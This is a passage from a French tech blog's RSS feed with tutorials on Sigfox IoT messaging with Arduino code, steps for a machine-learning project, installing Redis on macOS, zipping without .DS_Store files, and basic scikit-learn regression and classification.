</code></pre><p>Si vous vous rendez sur http://localhost:15672 vous pourrez voir l&rsquo;interface d&rsquo;administration de RabbitMQ.</p>
<blockquote>
<p>Il est également possible de démarrer le serveur en standalone via la commande <code>rabbitmq-server</code>.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Première expérimentation avec Sigfox</title>
            <link>https://leandeep.com/premi%C3%A8re-exp%C3%A9rimentation-avec-sigfox/</link>
            <pubDate>Sun, 27 Dec 2015 20:11:00 +0000</pubDate>
            
            <guid>https://leandeep.com/premi%C3%A8re-exp%C3%A9rimentation-avec-sigfox/</guid>
            <description>&lt;p&gt;Le mois dernier j&amp;rsquo;ai participé à un workshop autour de Sigfox.
Franchement j&amp;rsquo;ai été très impressionné par cette technologie et surtout par la couverture du réseau en France.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;intérêt de Sigfox c&amp;rsquo;est que cela consomme peu d&amp;rsquo;énergie (Tx: &amp;lt; 50 mA during a few seconds (25mW, 14dB)) mais on peut envoyer que 12 octets par message et jusqu&amp;rsquo;à 140 messages par capteur par jour.&lt;/p&gt;
&lt;p&gt;Voici l&amp;rsquo;exemple qui a été donné en workshop:
On veut envoyer des coordonnées GPS, la tempêrature et reporter l&amp;rsquo;état du capteur.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Le mois dernier j&rsquo;ai participé à un workshop autour de Sigfox.
Franchement j&rsquo;ai été très impressionné par cette technologie et surtout par la couverture du réseau en France.</p>
<p>L&rsquo;intérêt de Sigfox c&rsquo;est que cela consomme peu d&rsquo;énergie (Tx: &lt; 50 mA during a few seconds (25mW, 14dB)) mais on peut envoyer que 12 octets par message et jusqu&rsquo;à 140 messages par capteur par jour.</p>
<p>Voici l&rsquo;exemple qui a été donné en workshop:
On veut envoyer des coordonnées GPS, la tempêrature et reporter l&rsquo;état du capteur.</p>
<p>Ces données vont être converties comme ceci:
<img src="/images/convert-data-sigfox.png" alt="image"></p>
<p>Pour envoyer un hello-world sur le réseau Sigfox cela ressemble à ceci avec une carte Akeru beta 3.3 (Snootlab). C&rsquo;est vraiment très simple.
Ensuite il suffit de se rendre sur Sigfox Cloud <a href="https://backend.sigfox.com/device/:deviceid/info">https://backend.sigfox.com/device/:deviceid/info</a> et de cliquer sur son device pour voir les données.</p>
<pre tabindex="0"><code>#include &lt;SoftwareSerial.h&gt;

SoftwareSerial sigfox(5,4);
void setup() {
  // put your setup code here, to run once:
  Serial.begin(9600);
  sigfox.begin(9600);
  
  delay(300);
  
  sigfox.write(&#34;AT$SF=09AF0000CAFE,2,1\r&#34;);
  

}

void loop() {
  // put your main code here, to run repeatedly:
  while (sigfox.available()){
    Serial.write(sigfox.read());
  }
  
}
</code></pre><p>Il est ensuite possible d&rsquo;utiliser des boards à base d&rsquo;Arduino comportant toute une panoplie de capteurs avec une antenne Sigfox intégrée. Voici le code source permettant de remonter la tempêrature (°C), la pression (mbar) et l&rsquo;humidité (%)</p>
<p>Voici un exemple de board intéressante pour faire du développement: <a href="https://fr.rs-online.com/web/p/kits-de-developpement-pour-radio-frequence/9015121/">SmartEverything</a></p>
<pre tabindex="0"><code>#include &lt;LPS25H.h&gt;
#include &lt;HTS221.h&gt;
#include &lt;Wire.h&gt;
#include &lt;Arduino.h&gt;

#define SIGFOX_FRAME_LENGTH 12
#define INTERVAL 600000
#define DEBUG 0

unsigned long previousSendTime = 0;

struct data {
  int humidity;
  float temperature;
  int pressure;
};


void setup() {
  // Init UART devices
  if (DEBUG) {
    SerialUSB.begin(115200);
  }
  smeHumidity.begin();
  smePressure.begin();
  
  SigFox.begin(19200);

  initSigfox();
}

void loop() {
  data frame;
  frame.humidity = smeHumidity.readHumidity();  
  frame.temperature = (smeHumidity.readTemperature() + smePressure.readTemperature())/2.0;
  frame.pressure = smePressure.readPressure();

  if (DEBUG) {
    SerialUSB.print(&#34;Temp &#34;);
    SerialUSB.println(frame.temperature, 6);
    SerialUSB.print(&#34;\tHumidity &#34;);
    SerialUSB.println(frame.humidity);
    SerialUSB.print(&#34;\tPressure &#34;);
    SerialUSB.println(frame.pressure);
  }
 
  bool answer = sendSigfox(&amp;frame, sizeof(data));

  // Light LED depending on modem answer
  if (answer) {
    ledGreenLight(HIGH);
    ledRedLight(LOW);
  } else {
    ledGreenLight(LOW);
    ledRedLight(HIGH);
  }
  delay(1000);
  ledGreenLight(LOW);
  ledRedLight(LOW);
  
  delay(INTERVAL);
}

void initSigfox(){
  SigFox.print(&#34;+++&#34;);
  while (!SigFox.available()){
    delay(100);
  }
  while (SigFox.available()){
    byte serialByte = SigFox.read();
    if (DEBUG){
      SerialUSB.print(serialByte);
    }
  }
  if (DEBUG){
    SerialUSB.println(&#34;\n ** Setup OK **&#34;);
  }
}
String getSigfoxFrame(const void* data, uint8_t len){
  String frame = &#34;&#34;;
  uint8_t* bytes = (uint8_t*)data;
  
  if (len &lt; SIGFOX_FRAME_LENGTH){
    //fill with zeros
    uint8_t i = SIGFOX_FRAME_LENGTH;
    while (i-- &gt; len){
      frame += &#34;00&#34;;
    }
  }

  //0-1 == 255 --&gt; (0-1) &gt; len
  for(uint8_t i = len-1; i &lt; len; --i) {
    if (bytes[i] &lt; 16) {frame+=&#34;0&#34;;}
    frame += String(bytes[i], HEX);
  }
  
  return frame;
}
bool sendSigfox(const void* data, uint8_t len){
  String frame = getSigfoxFrame(data, len);
  String status = &#34;&#34;;
  char output;
  if (DEBUG){
    SerialUSB.print(&#34;AT$SF=&#34;);
    SerialUSB.println(frame);
  }
  SigFox.print(&#34;AT$SF=&#34;);
  SigFox.print(frame);
  SigFox.print(&#34;\r&#34;);
  while (!SigFox.available());
  
  while(SigFox.available()){
    output = (char)SigFox.read();
    status += output;
    delay(10);
  }
  if (DEBUG){
    SerialUSB.print(&#34;Status \t&#34;);
    SerialUSB.println(status);
  }
  if (status == &#34;OK\r&#34;){
    //Success :)
    return true;
  }
  else{
    return false;
  }
}
</code></pre><blockquote>
<p>Pour customiser le display type&quot; de son device sur Sigfox Cloud: <code>pressure::uint:32 temperature::float:32 humidity::uint:32</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Guide pour démarrer un projet de Machine Learning</title>
            <link>https://leandeep.com/guide-pour-d%C3%A9marrer-un-projet-de-machine-learning/</link>
            <pubDate>Mon, 21 Dec 2015 23:05:00 +0000</pubDate>
            
            <guid>https://leandeep.com/guide-pour-d%C3%A9marrer-un-projet-de-machine-learning/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir quelles sont les étapes à suivre pour mener à bien un projet de Machine Learning.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Un projet de Machine Learning correspond bien souvent à un problème que l&amp;rsquo;on souhaite résoudre. Par exemple, comment diminuer la fraude à la Carte Bleue de certains de mes clients ? Où investir dans l&amp;rsquo;immobilier pour faire le plus de rentabilité ? etc.
Pour résoudre ce problème et atteindre une cible (Y), il faut impérativement des données (X). Nous verrons par la suite de quoi on parle en terme de données.
Enfin il faudra définir une fonction de coût (f) qui nous permette d&amp;rsquo;évaluer la distance (autrement dit l&amp;rsquo;erreur) entre la prédiction de notre modèle et la cible réelle.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir quelles sont les étapes à suivre pour mener à bien un projet de Machine Learning.</p>
<br/>
<p>Un projet de Machine Learning correspond bien souvent à un problème que l&rsquo;on souhaite résoudre. Par exemple, comment diminuer la fraude à la Carte Bleue de certains de mes clients ? Où investir dans l&rsquo;immobilier pour faire le plus de rentabilité ? etc.
Pour résoudre ce problème et atteindre une cible (Y), il faut impérativement des données (X). Nous verrons par la suite de quoi on parle en terme de données.
Enfin il faudra définir une fonction de coût (f) qui nous permette d&rsquo;évaluer la distance (autrement dit l&rsquo;erreur) entre la prédiction de notre modèle et la cible réelle.</p>
<br/>
<p>L&rsquo;objectif final étant de trouver la meilleure fonction f qui permette de prédire Y en fonction de X:
Y ~ f(X,w) avec w un ensemble de paramètres</p>
<br/>
<p>Une fois le problème bien posé, il faut se poser les questions suivantes:</p>
<br/>
<h1 id="1-de-quel-type-de-problème-sagit-il-">1. De quel type de problème s&rsquo;agit-il ?</h1>
<p>Est-ce qu&rsquo;il s&rsquo;agit d&rsquo;un problème d&rsquo;apprentissage supervisé ou de non supervisé ?</p>
<ul>
<li>
<p><strong>Apprentissage supervisé</strong>
<em>S&rsquo;agit-il d&rsquo;un problème d&rsquo;apprentissage supervisé de type:</em></p>
<ul>
<li>regression <em>(i.e: est-ce que la variable à prédire est continue ? Est-ce qu&rsquo;on essaye de s&rsquo;en approcher le plus possible ?)</em></li>
<li>classification <em>(i.e: est-ce que la variable à prédire est une classe ou un entier ?)</em></li>
<li>ranking <em>(i.e: est-ce que la variable à prédire me permet d&rsquo;ordonner une liste ? Est-ce que c&rsquo;est un score ?)</em></li>
</ul>
</li>
<li>
<p><strong>Apprentissage non supervisé</strong>
<em>S&rsquo;agit-il d&rsquo;un problème d&rsquo;apprentissage non supervisé de type:</em></p>
<ul>
<li>clustering <em>(i.e: est-ce que mes données peuvent être regroupées en clusters plus pu moins homogènes ?)</em></li>
<li>réduction du nombre de dimension</li>
<li>système de recommandations</li>
</ul>
</li>
</ul>
<p>Pour simplifier le problème et essayer de donner du sens au modèle prédictif, on essaye de le ramener à un problème d&rsquo;apprentissage supervisé; même si à la base on pensait qu&rsquo;il s&rsquo;agissait d&rsquo;un problème d&rsquo;apprentissage non-supervisé.</p>
<p>En pratique, ce n&rsquo;est pas si simple. Pour construire un modèle prédictif fiable, il faut assembler différents types de modèles avec parfois des étapes d&rsquo;apprentissage non supervisées intermédiaires.</p>
<br/>
<h1 id="2-quelles-données-ai-je-à-ma-disposition-">2. Quelles données ai-je à ma disposition ?</h1>
<ul>
<li>Y a-t-il des données temporelles ?</li>
<li>Quel est mon nombre d&rsquo;observations (nombre de lignes) ?</li>
<li>Quel est mon nombre de features/ variables (nombre de colonnes) ?</li>
<li>Quelles sont les variables manquantes ?</li>
<li>Quelles sont les corrélations entre les variables et la cible à prédire ?</li>
<li>Mes variables sont-elles catégorielles, discètes ou continues ?</li>
<li>Est-ce quel type de données je travaille ? CSV ? JSON ? BDD relationnelle ? BDD Graph ?..</li>
<li>Dois-je encoder mes données catégorielles ?</li>
</ul>
<br/>
<h1 id="3-quel-train-test-split-réaliser-sur-mon-dataset-">3. Quel Train/ Test Split réaliser sur mon dataset ?</h1>
<p>Dans cet partie on va découper notre dataset en 2 parties pour éviter de faire de l&rsquo;overfitting (apprentissage par coeur).
On va réserver environ entre 70 à 80% du dataset pour la phase d&rsquo;apprentissage et on va utiliser le reste pour déterminer le modèle qui fait le moins d&rsquo;erreurs durant la phase de test.</p>
<p>Attention toutefois si le problème que l&rsquo;on traite est un problème de classification. Il faut que toutes les classes à prédire soient bien représentées dans les 2 splits. C&rsquo;est d&rsquo;autant plus vrai si l&rsquo;un de nos split comporte peu d&rsquo;exemples.</p>
<p>Attention aussi si le problème que l&rsquo;on traite comporte des données temporelles. Il faut bien séparer temporellement les splits de données pour prédire le futur avec le passé.</p>
<br/>
<h1 id="4-quel-algorithme-dois-je-utiliser-">4. Quel algorithme dois-je utiliser ?</h1>
<p>Enchaînez l&rsquo;apprentissage avec plusieurs modèles et comparez les résultats. Cela peut même être fait de manière automatique (Grid Search, Tpot, Auto-Sklearn&hellip;). Dès que vous entamez un problème de Machine Learning essayez tout de suite d&rsquo;apprendre un modèle et d&rsquo;observer votre performance. Cela vous permettra d&rsquo;estimer la complexité du sujet.</p>
<p>Il faudra ensuite itérer en améliorant votre code jusqu&rsquo;à ce que la performance recherchée soit atteinte.</p>
<p>Si vous souhaitez pouvoir interprêter les prédictions de votre modèle, privilégiez les modèles linéaires ou les arbres de décision.
Dans le cas contraire privilégiez les random forests. Cela vous simplifiera la vie car vous pourrez travailler avec tout type de données et votre modèle ne sera pas victime d&rsquo;un surapprentissage.</p>
<br/>
<h1 id="5-quelle-est-la-performance-de-mon-modèle-">5. Quelle est la performance de mon modèle ?</h1>
<p>En fonction du type de problème que vous adressez, différents indicateurs peuvent être mesurés à partir du split de test.</p>
<ul>
<li>
<p><strong>Apprentissage supervisé</strong></p>
<ul>
<li>
<p>Régression</p>
<ul>
<li>Erreur de prédiction</li>
<li>Sur un Graph XY: valeur à prédire / valeur prédite</li>
</ul>
</li>
<li>
<p>Classification</p>
<ul>
<li>Courbe de ROC</li>
</ul>
<blockquote>
<p>Pour rappel, la courbre de ROC permet de représenter le ratio précision (prédire correctement) / rappel (valider la prédiction)
Certains modèles retournent un score de confiance en plus de la prédiction. Plus ce score est élevé et plus le résultat a de chance d&rsquo;être correct ou précis.</p></blockquote>
<ul>
<li>Matrice de confusion</li>
<li>Précision / Rappel</li>
</ul>
</li>
<li>
<p>Ranking</p>
<ul>
<li>Corrélation de rang</li>
<li>DCG</li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>Apprentissage non supervisé</strong></p>
<ul>
<li>
<p>Clustering</p>
<ul>
<li>Nombre d&rsquo;arc coupés</li>
<li>Variance inter et intra classes</li>
</ul>
</li>
<li>
<p>Système de recommandation</p>
<ul>
<li>Corrélation de rang</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>Si la performance de votre modèle n&rsquo;est pas suffisante, posez-vous par exemple les questions suivantes:</p>
<ul>
<li>Est-ce que les valeurs manquantes empêchent le modèle d&rsquo;apprendre ?</li>
<li>Faut-il donner plus de features à mon modèle ?</li>
<li>Ai-je distribué de manière homogène mes variables entre mes splits d&rsquo;apprentissage et de test ?</li>
<li>Ai-je laissé des outliers dans ma base d&rsquo;apprentissage ?</li>
<li>Est-ce que mes données sont bruitées ?</li>
</ul>
<br/>
<h1 id="6-comment-puis-je-optimiser-mon-modèle-">6. Comment puis-je optimiser mon modèle ?</h1>
<ul>
<li>Valorisez des valeurs manquantes en utilisant la sortie d&rsquo;autres modèles de machine learning</li>
<li>Calculez de nouvelles données si des données peuvent être groupées (Par exemple, calculez des moyennes pour connaître la note d&rsquo;un restaurant et savoir si oui ou non des clients sont satisfaits&hellip;)</li>
<li>Pour traiter les outliers et diminuer leur importance, il faut passer les variables au logarithme.</li>
<li>Aggrégés des données sur des périodes d&rsquo;un mois ou d&rsquo;un an pour des données temporelles</li>
<li>Si la performance est mauvaise essayez de comprendre quelle feature est la cause du problème</li>
<li>Si vos données sont bruitées, voire très bruitées, il est possible d&rsquo;utiliser les premiers axes d&rsquo;une ACP (Analyse en Composante Principale; i.e: prendre le maximum d&rsquo;échantillons du dataset et diminuer le nombre de variables en les compressant) ou un réseau Diabolo.</li>
</ul>
<br/>
<h1 id="7-validation-du-modèle">7. Validation du modèle</h1>
<p>Pour valider que votre modèle est performant et qu&rsquo;il permette de réellement prédire une cible de manière fiable, réaliser une Cross Validation.</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Redis sur OSX</title>
            <link>https://leandeep.com/installer-redis-sur-osx/</link>
            <pubDate>Sun, 22 Nov 2015 21:35:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-redis-sur-osx/</guid>
            <description>&lt;p&gt;Voici un petit article rapide pour installer et utiliser Redis en local sur son Mac.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installer Redis via HomeBrew&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install redis
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Démarrage de Redis au boot d&amp;rsquo;OSX&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ln -sfv /usr/local/opt/redis/*.plist ~/Library/LaunchAgents
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Démarrer Redis via launchctl&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;launchctl load ~/Library/LaunchAgents/homebrew.mxcl.redis.plist
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Retirer le démarrage automatique de Redis au boot d&amp;rsquo;OSX&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.redis.plist
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Désinstaller Redis&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew uninstall redis
rm ~/Library/LaunchAgents/homebrew.mxcl.redis.plist
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Vérifier que Redis est bien démarré:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;redis-cli ping

# PONG
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Administration GUI&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici un petit article rapide pour installer et utiliser Redis en local sur son Mac.</p>
<p><strong>Installer Redis via HomeBrew</strong></p>
<pre tabindex="0"><code>brew install redis
</code></pre><br/>
<p><strong>Démarrage de Redis au boot d&rsquo;OSX</strong></p>
<pre tabindex="0"><code>ln -sfv /usr/local/opt/redis/*.plist ~/Library/LaunchAgents
</code></pre><br/>
<p><strong>Démarrer Redis via launchctl</strong></p>
<pre tabindex="0"><code>launchctl load ~/Library/LaunchAgents/homebrew.mxcl.redis.plist
</code></pre><br/>
<p><strong>Retirer le démarrage automatique de Redis au boot d&rsquo;OSX</strong></p>
<pre tabindex="0"><code>launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.redis.plist
</code></pre><br/>
<p><strong>Désinstaller Redis</strong></p>
<pre tabindex="0"><code>brew uninstall redis
rm ~/Library/LaunchAgents/homebrew.mxcl.redis.plist
</code></pre><br/>
<p><strong>Vérifier que Redis est bien démarré:</strong></p>
<pre tabindex="0"><code>redis-cli ping

# PONG
</code></pre><br/>
<p><strong>Administration GUI</strong></p>
<p><a href="https://github.com/humante/redis-browser">https://github.com/humante/redis-browser</a></p>
<p>Web based GUI on <a href="http://localhost:4567">http://localhost:4567</a></p>
<pre tabindex="0"><code># Install it with $ gem install redis-browser
# gem install redis-browser

# Run it with $ redis-browser
== Sinatra (v2.0.5) has taken the stage on 4567 for development with backup from WEBrick
INFO  WEBrick::HTTPServer#start: pid=10586 port=4567
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Créer une archive zip sans .DS_Store</title>
            <link>https://leandeep.com/cr%C3%A9er-une-archive-zip-sans-.ds_store/</link>
            <pubDate>Thu, 12 Nov 2015 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-une-archive-zip-sans-.ds_store/</guid>
            <description>&lt;p&gt;Utiliser tout simplement la commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;zip -r &amp;lt;name&amp;gt;.zip . -x &amp;#34;*.DS_Store&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;.DS_Store&lt;/code&gt; est un fichier qui contient des attributs pour customiser le dossier dans lequel il se trouve comme par exemple la position des icônes ou l&amp;rsquo;image background.&lt;/p&gt;&lt;/blockquote&gt;</description>
            <content type="html"><![CDATA[<p>Utiliser tout simplement la commande:</p>
<pre tabindex="0"><code>zip -r &lt;name&gt;.zip . -x &#34;*.DS_Store&#34;
</code></pre><blockquote>
<p><code>.DS_Store</code> est un fichier qui contient des attributs pour customiser le dossier dans lequel il se trouve comme par exemple la position des icônes ou l&rsquo;image background.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Commandes Python de base pour Sklearn (Régression, Classification, Régularisation)</title>
            <link>https://leandeep.com/commandes-python-de-base-pour-sklearn-r%C3%A9gression-classification-r%C3%A9gularisation/</link>
            <pubDate>Thu, 15 Oct 2015 22:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-python-de-base-pour-sklearn-r%C3%A9gression-classification-r%C3%A9gularisation/</guid>
            <description>&lt;h1 id=&#34;1-lobjet-estimator&#34;&gt;1. L&amp;rsquo;objet &lt;em&gt;estimator&lt;/em&gt;&lt;/h1&gt;
&lt;p&gt;Dans Scikit les algorithmes de Machine Learning sont exposés via des objets appelés &lt;em&gt;&amp;ldquo;estimator&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Exemple pour une régression linéaire:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from sklearn.linear_model import LinearRegression

# Tous les paramètres pour configurer l&amp;#39;estimator peuvent être passé à l&amp;#39;objet lors de son instanciation
model = LinearRegression(normalize=True)

print(model)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Résultat:&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;LinearRegression(copy_X=True, fit_intercept=True, n_jobs=1, normalize=True)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;L&amp;rsquo;interface des méthodes de scikit-learn sont uniformes.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Pour tous les &lt;em&gt;estimators&lt;/em&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;model.fit() : remplit le modèle avec des données d&amp;rsquo;entrainement. Pour un apprentissage supervisé, la méthode accepte 2 arguments: les données X et les labels y (i.e. model.fit(X, y)). Pour une apprentissage non supervisé, la méthode ne prend qu&amp;rsquo;un seul arguement, les données X (i.e. model.fit(X)).&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Pour les &lt;em&gt;estimators&lt;/em&gt; en apprentissage supervisé:&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="1-lobjet-estimator">1. L&rsquo;objet <em>estimator</em></h1>
<p>Dans Scikit les algorithmes de Machine Learning sont exposés via des objets appelés <em>&ldquo;estimator&rdquo;</em>.</p>
<p>Exemple pour une régression linéaire:</p>
<pre tabindex="0"><code>from sklearn.linear_model import LinearRegression

# Tous les paramètres pour configurer l&#39;estimator peuvent être passé à l&#39;objet lors de son instanciation
model = LinearRegression(normalize=True)

print(model)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>LinearRegression(copy_X=True, fit_intercept=True, n_jobs=1, normalize=True)
</code></pre><p>L&rsquo;interface des méthodes de scikit-learn sont uniformes.</p>
<br/>
<p><strong>Pour tous les <em>estimators</em>:</strong></p>
<ul>
<li>model.fit() : remplit le modèle avec des données d&rsquo;entrainement. Pour un apprentissage supervisé, la méthode accepte 2 arguments: les données X et les labels y (i.e. model.fit(X, y)). Pour une apprentissage non supervisé, la méthode ne prend qu&rsquo;un seul arguement, les données X (i.e. model.fit(X)).</li>
</ul>
<br/>
<p><strong>Pour les <em>estimators</em> en apprentissage supervisé:</strong></p>
<ul>
<li>model.predict() : prédire le label d&rsquo;un ensemble de features à partir d&rsquo;un modèle entrainé. La méthode accepte un argument, les nouvelles données X_new (i.e. model.predict(X_new) et retourne les labels prédits pour chaque objet du tableau.</li>
<li>model.predict_proba() : Pour les problèmes de classification, certains <em>estimators</em> fournissent cette méthode qui retourne la probabilité qu&rsquo;une nouvelle observation possède chaque label. La label qui la plus forte probabilité est retourné par model.predict().</li>
<li>model.score() : Pour les problèmes de régession ou de classification, les <em>estimators</em> implémentent une méthode de score. Cette dernière permet d&rsquo;indiquer si le fit est bon ou pas. Le score peut varier entre 0 et 1.</li>
</ul>
<br/>
<h1 id="2-ajouter-des-données-à-lestimator">2. Ajouter des données à l&rsquo;<em>estimator</em></h1>
<pre tabindex="0"><code>%matplotlib inline
import numpy as np
from matplotlib import pyplot as plt

x = np.array([0, 1, 2])
y = np.array([0, 1, 2])

_ = plt.plot(x, y, marker=&#39;o&#39;)
</code></pre><br/>
<p><em>Résultat:</em></p>
<p><img src="/images/plot1.png" alt="image"></p>
<pre tabindex="0"><code>X = x[:, np.newaxis] # On incrémente la dimension car scikit prend un tableau à 2 dimensions en input: (samples == 3 x features == 1)

model.fit(X, y)

model.coef_ # Paramètre estimé par scikit à partir des données ajoutées. Tous les paramètres estimés par scikit se terminent un _.
</code></pre><br/>
<h1 id="3-apprentissage-supervisé-classification-et-régression">3. Apprentissage supervisé: Classification et Régression</h1>
<p>En apprentissage supervisé, on a un dataset qui contient à la fois des <em>features</em> et des <em>labels</em>.
L&rsquo;objectif est de construire un <em>estimator</em> qui est capable de prédire le <em>label</em> d&rsquo;un objet à partir d&rsquo;un ensemble de <em>features</em>.
En classification, le <em>label</em> est valeur discrète alors qu&rsquo;en régression le <em>label</em> est une valeur continue.</p>
<br/>
<h2 id="31-classification">3.1. Classification</h2>
<p>KNN (K Nearest Neighbors) ou &ldquo;K voisins les plus proches&rdquo; en français est un des algorithmes les plus simples à appréhender:
Pour une toute nouvelle observation, regarder dans une base de référence, quelle observation a ses <em>features</em> les plus proches et  lui assigner la classe prédominante.</p>
<p><img src="/images/Petal-sepal.jpg" alt="image"></p>
<pre tabindex="0"><code># On charge d&#39;abord le dataset Iris
from sklearn import neighbors, datasets
iris = datasets.load_iris()

# On extrait les features et labels du dataset
X, y = iris.data, iris.target

# On instancie l&#39;*estimator*
knn = neighbors.KNeighborsClassifier(n_neighbors=1) 
# n_neighbors=1 signifie que le nombre de voisin(s) à avoir égal à 1

# On remplit l&#39;*estimator* avec les données
knn.fit(X, y)

# On prédit l&#39;Iris qui a les caractéristiques (features) suivantes: 
# sépale = 4cm x 3cm et pétale = 5cm x 2cm
print(iris.target_names[knn.predict([[4, 3, 5, 2]])])
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>[&#39;virginica&#39;]
</code></pre><br/>
<h3 id="afficher-un-scatter-plot-des-features-longeur-et-largeur-des-sépales-ainsi-que-la-préduction-du-knn">Afficher un scatter plot des features longeur et largeur des sépales ainsi que la préduction du KNN</h3>
<p>Exemple complet:</p>
<pre tabindex="0"><code># On charge le dataset
from sklearn import neighbors, datasets
iris = datasets.load_iris()

# On mappe 3 couleurs ou les 3 classes du problème
from matplotlib.colors import ListedColormap
cmap_light = ListedColormap([&#39;#FFAAAA&#39;, &#39;#AAFFAA&#39;, &#39;#AAAAFF&#39;])
cmap_bold = ListedColormap([&#39;#FF0000&#39;, &#39;#00FF00&#39;, &#39;#0000FF&#39;])


X = iris.data[:, :2]  # On prend les 2 features liées aux sépales
y = iris.target

knn = neighbors.KNeighborsClassifier(n_neighbors=3)
knn.fit(X, y)

x_min, x_max = X[:, 0].min() - .1, X[:, 0].max() + .1
y_min, y_max = X[:, 1].min() - .1, X[:, 1].max() + .1
xx, yy = np.meshgrid(np.linspace(x_min, x_max, 100),
                      np.linspace(y_min, y_max, 100))

Z = knn.predict(np.c_[xx.ravel(), yy.ravel()])

# On plot le résultat
Z = Z.reshape(xx.shape)
plt.figure()
plt.pcolormesh(xx, yy, Z, cmap=cmap_light)

# On plot également les points d&#39;entrainement
plt.scatter(X[:, 0], X[:, 1], c=y, cmap=cmap_bold)
plt.xlabel(&#39;sepal length (cm)&#39;)
plt.ylabel(&#39;sepal width (cm)&#39;)
plt.axis(&#39;tight&#39;)
</code></pre><br/>
<p><em>Résultat:</em></p>
<p><img src="/images/scatter-plot.png" alt="image"></p>
<br/>
<h2 id="32-régression">3.2. Régression</h2>
<p>La régression la plus simple est la régression linéaire. Voici un exemple:</p>
<p>On crée des données aléatoires:</p>
<pre tabindex="0"><code>import numpy as np
np.random.seed(0)
X = np.random.random(size=(20, 1))
y = 3 * X[:, 0] + 2 + np.random.normal(size=20)
print(X)
print(X.shape)
print(y)
print(y.shape)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>[[0.5488135 ]
 [0.71518937]
 [0.60276338]
 [0.54488318]
 [0.4236548 ]
 [0.64589411]
 [0.43758721]
 [0.891773  ]
 [0.96366276]
 [0.38344152]
 [0.79172504]
 [0.52889492]
 [0.56804456]
 [0.92559664]
 [0.07103606]
 [0.0871293 ]
 [0.0202184 ]
 [0.83261985]
 [0.77815675]
 [0.87001215]]
(20, 1)
[5.14051958 3.94040984 4.12135783 2.78055381 0.71797458 4.59130093
 4.17719783 3.93315398 7.16074291 1.69595888 4.42093363 3.39950091
 5.2369129  6.24614868 2.3680556  2.63955042 1.17286944 2.51706307
 3.9865581  4.76638541]
(20,)
</code></pre><p>On remplit l&rsquo;<em>estimator</em> avec ces données:</p>
<pre tabindex="0"><code>from sklearn.linear_model import LinearRegression
model = LinearRegression(fit_intercept=True)
model.fit(X, y)
print(&#34;Model coefficient: %.5f, and intercept: %.5f&#34;
      % (model.coef_, model.intercept_))
</code></pre><br/>
<p><em>Résultat:</em></p>
<pre tabindex="0"><code>Model coefficient: 3.93491, and intercept: 1.46229
</code></pre><p>On affiche le graphique et le modèle prédictif</p>
<pre tabindex="0"><code># On affiche les données d&#39;entrainement
import pylab as pl
plt.plot(X[:, 0], y, &#39;o&#39;)

# On prédit les labels pour 100 points allant de 0 à 1 qu&#39;on ajoute au graphique précédent
X_test = np.linspace(0, 1, 100)[:, np.newaxis]
y_test = model.predict(X_test)
plt.plot(X_test[:, 0], y_test)
</code></pre><br/>
<p><em>Résultat:</em></p>
<p><img src="/images/regression.png" alt="image"></p>
<br/>
<h1 id="4-régularisation">4. Régularisation</h1>
